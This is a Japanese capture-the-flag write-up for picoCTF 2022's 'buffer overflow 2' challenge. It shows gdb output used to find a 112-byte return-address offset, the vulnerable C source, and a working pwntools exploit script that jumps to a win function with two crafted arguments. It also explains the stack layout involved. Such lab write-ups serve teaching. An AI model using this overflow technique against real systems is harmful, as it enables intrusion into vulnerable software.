リターンアドレス書き換えと引数指定

picoCTF 2022 「buffer overflow 2」。

bofでリターンアドレスを書き換えてwin関数に飛ぶ。しかし、そのwin関数は引数を2つとる関数であり、それぞれの引数を適切に設定してやる必要がある。

飛んだ先の関数が”引数アリ”の場合のpayloadの作り方に注意。

プログラムの概要

実行すると入力待ちになり、入力した文字を出力し返すだけ。

セキュリティ機構はNX enabledのみの32bitプログラム。

リターンアドレスまでのオフセット

gdbのパターン文字列を利用:

gdb-peda$ pattc 150
gdb-peda$ r
...
[----------------------------------registers-----------------------------------]
EAX: 0x97 
EBX: 0x41413741 ('A7AA')
ECX: 0xf7e20994 --> 0x0 
EDX: 0x1 
ESI: 0xffffd024 --> 0xffffd205 ("/home/shoebill/pico/vuln")
EDI: 0xf7ffcb80 --> 0x0 
EBP: 0x6941414d ('MAAi')
ESP: 0xffffcf40 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
EIP: 0x41384141 ('AA8A')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
...
gdb-peda$ patto AA8A
AA8A found at offset: 112

リターンアドレスまでのオフセットは112。

ソースコードと戦略

void win(unsigned int arg1, unsigned int arg2) {
  char buf[64];
  FILE *f = fopen("flag.txt","r");

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  puts("Please enter your string: ");
  vuln();

フラグを得るには、win関数に飛ばしてかつ引数arg1が0xCAFEF00D、arg2が0xF00DF00Dである必要がある。

exploit

#!/usr/bin/env python3
from pwn import *

bin_file = './vuln'
context.binary = bin_file
binf = ELF(bin_file)

addr_win = binf.symbols['win']
addr_vuln = binf.symbols['vuln']

def attack(conn, **kwargs):
    payload = b'a' * 112
    payload += p32(addr_win)
    payload += p32(addr_vuln)
    payload += p32(0xCAFEF00D)
    payload += p32(0xF00DF00D)

    conn.sendlineafter(b'Please enter your string:', payload)

def main():
    conn = process(bin_file)
    attack(conn)
    conn.interactive()

if __name__ == '__main__':
    main()

引数の前にリターンアドレスを書く!!

win関数に飛ぶ。かつ、win関数に引数を与える。

その際、win関数終了時に戻る先のアドレスすなわちリターンアドレスを、(引数よりも)先にスタックに積んでおく必要がある。

     Low address

+--------------------+
|                    |
|      retaddr       |
|                    |
+--------------------+
|                    |
|       arg1         |
|                    |
+--------------------+
|                    |
|       arg2         |
|                    |
+--------------------+
|                    |
|         .          |
|         .          |
|         .          |
+--------------------+

     High address

関数呼び出しとスタックの動きについては次の記事がとてもわかりやすい:

mymanfile.com

通常の関数呼び出しではこのようなスタックの動きをするから、bofの攻撃をする際も通常の関数呼び出し時と同じようにスタックを組む必要がある。

一個前の記事の問題(buffer overflow 1)のように、ただ目的の関数に飛ばすだけなら上記の事を考慮する必要はないが、飛んだ先の関数に引数を与える場合は適切なスタックの状態で関数呼び出しをする必要がある。